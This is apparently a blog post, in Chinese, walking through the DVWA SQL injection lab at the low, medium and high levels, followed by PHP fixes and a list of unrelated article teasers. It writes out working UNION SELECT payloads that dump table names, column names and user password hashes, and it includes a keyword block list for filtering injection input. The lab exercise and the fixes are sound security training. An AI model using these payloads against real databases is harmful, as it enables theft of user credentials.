[dvwa] sql injection

sql injection

0x01 low

sql语句没有过滤
在这里插入图片描述

经典注入,通过逻辑or为真相当于select * from users where true,99换成1也成
在这里插入图片描述

用union select 对齐列数,查看数据库信息
1’ union select 1,2#

order by探测对齐列数更方便
1’ or 1=1 order by 1,2#
比union select多一个判断

考虑编码
在这里插入图片描述

1’ union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema=‘dvwa’#

还得是stack overflow nb https://stackoverflow.com/questions/20456152/mysql-error-illegal-mix-of-collations-for-operation-union

在这里插入图片描述

表guestbook, users

1’ union select 1,group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name=‘users’#

在这里插入图片描述
列: user_id,first_name,last_name,user,password,avatar,last_login,failed_login

1’ union select group_concat(user_id),group_concat(password) COLLATE utf8_general_ci from dvwa.users #
1’ or 1=1 union select group_concat(user_id),group_concat(password) COLLATE utf8_general_ci from dvwa.users #
拿到密码
在这里插入图片描述

和直接在数据库中看到的一致
在这里插入图片描述

0x02 medium

从select元素中获取值,提交,显示
抓包观察,修改,发现存在注入
在这里插入图片描述
在这里插入图片描述
数字型注入

order by 3 报错,说明有两列select
在这里插入图片描述

1 union select 1, group_concat(table_schema) COLLATE utf8_general_ci from information_schema.tables where table_schema = database()

在这里插入图片描述

1 union select 1, group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema = database()#

在这里插入图片描述

id=1 union select 1, group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name = 0x7573657273#

在这里插入图片描述

1 or 1=1 union select group_concat(user_id),group_concat(password) from users

在这里插入图片描述
搞定

数字型注入,单引号被过滤

0x03 high

在这里插入图片描述
使用limit 1限制显示,使用#注释即可
在这里插入图片描述

输入和回显不在同一页面可防止sqlmap攻击

1’ union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema = ‘dvwa’#

1’ union select 1,group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name = ‘users’#

1’ union select group_concat(user_id),group_concat(password) COLLATE utf8_general_ci from users #

0x04 Repair 漏洞修复

修复漏洞,同时保证保证功能完整

0x0401 Chars 字符型

过滤关键字,发现不合规的输入就die终止
使用str_replace要优于preg_replace,它将所有的$search替换为$replace,$count显示替换的次数
在这里插入图片描述
在这里插入图片描述
非法输入
在这里插入图片描述
不可以打哦

详细代码


$suspects = array("'"," ","and","or","union","select","#","\\",";","order","by","--","\"");
$allnull = array();
for ($i = 0;$i<count($suspects);$i += 1){
	array_push($allnull,'Hacker');
}
$count = 0;

$id = $_REQUEST[ 'id' ];

$id = str_replace($suspects,$allnull,$id,$count);

if($count>0){
	die("no, can not hack");
}

0x0402 Numbers 数字型

在这里插入图片描述
在这里插入图片描述
intival将串转为数字,is_numberic判断串是否为数字

在这里插入图片描述

用正则匹配所有数字,提取出来重新组成串
这个串中只有数字,如果抓包修改为id=3 or 1=1那么id会变成311。虽然是一个不合法的数据,也可以阻止了union select恶意查询
打开注释内容,更有效。它检测到非数字就会die终止程序


//	$judge = is_numeric($id);
//	if($judge== false){
//		die("sorry, can not pass");
//	}

	preg_match_all('!\d+!', $id, $matches);

	$numbers = $matches[0];

	$id  = implode('',$numbers);

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/530692.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

盛最多水的容器(双指针)

11. 盛最多水的容器 - 力扣&#xff08;LeetCode&#xff09; 题目描述 给定一个长度为 n 的整数数组 height 。有 n 条垂线&#xff0c;第 i 条线的两个端点是 (i, 0) 和 (i, height[i]) 。 找出其中的两条线&#xff0c;使得它们与 x 轴共同构成的容器可以容纳最多的水。 …

爱因斯坦求和约定 含代码

目录 一、简介 1.自由标 2.哑标 二、torch实现 1.计算迹 2.取矩阵对角线 3.计算外积 4.batch矩阵乘法 5.带有子列表和省略号 6.变换维度 7.双线性变换&#xff0c;类似于torch.nn.functional.bilinear 一、简介 爱因斯坦求和约定(Einstein summation convention)是一…

Execute-Assembly(1)

原理 在《Cobalt Strike 原理分析》一文中&#xff0c;介绍了内存加载程序集(Assembly)的主要有四步&#xff1a; 1 加载CLR环境 2 获取程序域 3 装载程序集 4 执行程序集 在odzhan的Shellcode: Loading .NET Assemblies From Memory所描述的那样&#xff0c;.Net Framework随着…

MySQL 嵌套查询

嵌套查询 是指在一个完整的查询语句之中&#xff0c;包含若干个不同功能的小查询&#xff1b;从而一起完成复杂查询的一种编写形式。包含的查询放在&#xff08;&#xff09;里 &#xff0c; 包含的查询出现的位置&#xff1a; 位置含义SELECT之后把查询结果作为表头使用FROM…

【InternLM】茴香豆:搭建你的RAG智能助理

茴香豆是 InternLM开源的基于 LLM的群聊知识助手&#xff0c;其提供了一整套前后端 web、android、算法源码&#xff0c;支持工业级商用。其最低运行运行成本低至 1.5G 显存&#xff0c;无需训练适用各行业。 1. 技术报告 参照技术报告HuixiangDou: Overcoming Group Chat Sc…

【DM8】外部表

外部表是指不存在于数据库中的表。 通过向达梦数据库定义描述外部表的元数据&#xff0c;可以把一个操作系统文件当成一个只读的数据库表&#xff0c;对外部表将像普通定义的表一样访问。 外部表的数据存储在操作系统文件中&#xff0c;建立外部表的时候&#xff0c;不会产生…

百度驾驶证C++离线SDK V1.1 C#接入

百度驾驶证C离线SDK V1.1 C#接入 目录 说明 效果 项目 代码 下载 说明 自己根据SDK封装了动态库&#xff0c;然后C#调用。 SDK包结构 效果 项目 代码 using Newtonsoft.Json; using OpenCvSharp; using System; using System.Collections.Generic; using System.D…

Taro打包生成不同目录

使用taro init创建taro项目时&#xff0c;taro默认打包目录是&#xff1a; /config/index.js outputRoot:dist默认的目录&#xff0c;编译不同平台代码时就会覆盖掉&#xff0c;为了达到多端同步调试的目的&#xff0c;这时需要修改默认生成目录了&#xff0c;通过查看官方文…

大语言模型如何工作?

此为观看视频How Large Language Model works的笔记。 GPT&#xff08;Generative Pre-trained Transformer&#xff09;是一个大语言模型&#xff08;LLM&#xff09;&#xff0c;可以生成类似人类的文本。本文阐述&#xff1a; 什么是LLMLLM如何工作LLM的应用场景 什么是…

一些 MaxCompute 日常优化案例分享

作者&#xff1a;开七 一、前言 MaxCompute 优化是一个多样而又重要的过程&#xff0c;优化过程中若能够深入理解 ODPS 的工作原理和内部机制&#xff0c;才能够更明确的发现运行过程中存在的问题&#xff0c;这样才能更有针对性地进行优化&#xff0c;优化需要不断思考和尝试…

Vue.js组件精讲 基础:Vue.js组件的三个API:prop、event、slot

如果您已经对 Vue.js 组件的基础用法了如指掌&#xff0c;可以跳过本小节&#xff0c;不过当做复习稍读一下也无妨。 组件的构成 一个再复杂的组件&#xff0c;都是由三部分组成的&#xff1a;prop、event、slot&#xff0c;它们构成了 Vue.js 组件的 API。如果你开发的是一个…

w1r3s 靶机学习

w1r3s 靶机学习 0x01 IP C for command kali ip 10.10.10.128victim ip 10.10.10.1290x02 开扫 C sudo nmap -sn 10.10.10.0/24-sn 多一步入侵和轻量级侦察 发送四项请求 -sL 列表扫描&#xff0c;多用于探测可用ip&#xff0c;广播扫描 –send-ip 时间戳请求&#xff0…

YOLOv7全网独家改进: 卷积魔改 | 变形条状卷积,魔改DCNv3二次创新

💡💡💡本文独家改进: 变形条状卷积,DCNv3改进版本,不降低精度的前提下相比较DCNv3大幅度运算速度 💡💡💡强烈推荐:先到先得,paper级创新,直接使用; 💡💡💡创新点:1)去掉DCNv3中的Mask;2)空间域上的双线性插值转改为轴上的线性插值; 💡💡💡…

JavaSE:预定义类,访问修饰符,Java面向对象的特征

预定义类 JDK提供的类就是预定义类 Date类&#xff0c;LocalDate类等 访问修饰符 Java提供了四种访问修饰符&#xff0c;访问范围从大到小是&#xff1a;public > protected > 缺省 > private public&#xff1a;不同包的不相关子类 protected&#xff1a;不同包…

一例Foxmail的发件错误问题及解决方案

问题 Foxmail发件时&#xff0c;提示“连接失败” 点击左上角“收取”也连接失败 解决方法 点击右上角三个横线&#xff1a; 再点击“设置”在“网络”中&#xff0c;看看默认代理是不是“不使用代理” 如果不是&#xff0c;选成第一个 再在“账号”里选择自己用的账号&a…

NLP在搜索召回领域中的应用场景

自然语言处理&#xff08;NLP&#xff09;在搜索召回领域中的应用场景非常广泛&#xff0c;它通过理解和分析人类语言&#xff0c;提高了信息检索的准确性和效率。以下是一些具体的应用场景&#xff1a; 1. 搜索引擎优化 NLP技术可以用于优化搜索引擎的查询处理&#xff0c;通…

Centos 下载地址

下载镜像地址&#xff1a; 1、官网地址&#xff1a;The CentOS Project 2、阿里镜像站&#xff1a;centos安装包下载_开源镜像站-阿里云 3、清华镜像源&#xff1a;Index of /centos/ | 清华大学开源软件镜像站 | Tsinghua Open Source Mirror 3.、CentOS搜狐镜像&#xff1…

针对于OB_GINS的CMakeList文件的深入学习

Project()——配置项目信息 project(CMakeTemplate VERSION 1.0.0 LANGUAGES C CXX DESCRIPTION "A cmake template project") //通过project命令配置项目信息project(项目名称 VERSION major.minor.patch.tweak )CMake会将对应的值分别赋值给以下变量: PROJECT_VE…

家庭网络防御系统搭建-将NDR系统的zeek日志集成到securit yonion

在前面的文章中安装了zeek,这里&#xff0c;安装了securityonion&#xff0c;这里&#xff0c;本文讲述如何将zeek生成的日志发送到siem security onion之中。 所有日志集成的步骤分为如下几步&#xff1a; 日志收集配置日志发送接收日志解析配置日志展示配置 ZEEK日志收集配…

购买国外虚拟主机应该怎么支付

国外虚拟主机支付&#xff0c;大多接受visa信用卡支付方式&#xff0c;如果用一张visa信用卡相对会方便很多&#xff0c;此外像Skrill、PayPal、比特币等&#xff0c;部分虚拟主机服务商也接受&#xff0c;另外还有小部分服务商接受支付宝、微信形式。 美国虚拟主机&#xff0…